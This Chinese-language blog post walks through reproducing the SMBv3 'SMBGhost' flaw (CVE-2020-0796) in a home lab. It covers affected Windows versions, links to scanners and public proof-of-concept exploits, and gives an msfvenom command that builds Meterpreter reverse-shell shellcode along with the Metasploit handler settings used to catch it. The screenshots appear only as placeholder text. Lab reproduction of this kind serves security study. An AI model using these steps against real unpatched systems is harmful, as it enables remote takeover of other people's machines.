CVE-2020-0796 漏洞復現

0x00 漏洞介紹

2020年3月10日,微軟在其官方SRC發佈了CVE-2020-0796的安全公告(ADV200005,MicrosoftGuidance for Disabling SMBv3 Compression),公告表示在Windows SMBv3版本的客戶端和服務端存在遠程代碼執行漏洞。同時指出該漏洞存在於MicroSoft Server Message Block 3.1.1協議處理特定請求包的功能中,攻擊者利用該漏洞可在目標SMB Server或者Client中執行任意代碼。

0x01 影響版本

Windows 10 Version 1903 for 32-bit Systems
Windows 10 Version 1903 for x64-based Systems
Windows 10 Version 1903 for ARM64-based Systems
Windows Server, Version 1903 (Server Core installation)
Windows 10 Version 1909 for 32-bit Systems
Windows 10 Version 1909 for x64-based Systems
Windows 10 Version 1909 for ARM64-based Systems
Windows Server, Version 1909 (Server Core installation)
隻影響 SMB v3.1.1,1903和1909

0x02 環境搭建

Win10漏洞環境
win10:192.168.111.13 關閉防火牆
kali:192.168.111.3

0x03 漏洞檢測

python版本

https://github.com/ollypwn/SMBGhost
在這裏插入圖片描述

exe版本(奇安信)

http://dl.qianxin.com/skylar6/CVE-2020-0796-Scanner.zip
在這裏插入圖片描述
這裏需要注意的是測試環境需要關閉防火牆

0x04 漏洞攻擊

藍屏Poc

https://github.com/eerykitty/CVE-2020-0796-PoC
在這裏插入圖片描述
在這裏插入圖片描述

本地提權

https://github.com/danigargu/CVE-2020-0796/releases
在這裏插入圖片描述

遠程攻擊

https://github.com/chompie1337/SMBGhost_RCE_PoC
下載該腳本,利用kali生成反彈shell的shellcode

msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.111.3 lport=4444 -f py -o exp.py

在這裏插入圖片描述
然後利用生成的shellcode替換exploit.py中的USER_PAYLOAD
在這裏插入圖片描述
打開msf,監聽本地4444端口

use exploit/multi/handler 
set payload windows/x64/meterpreter/reverse_tcp
set lport 4444
set lhost 192.168.111.3
run

運行exploit.py腳本,反彈shell
在這裏插入圖片描述
這個腳本運行的時候確實不是很穩定,需要多嘗試幾次

0x05 參考

https://xz.aliyun.com/t/7440

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章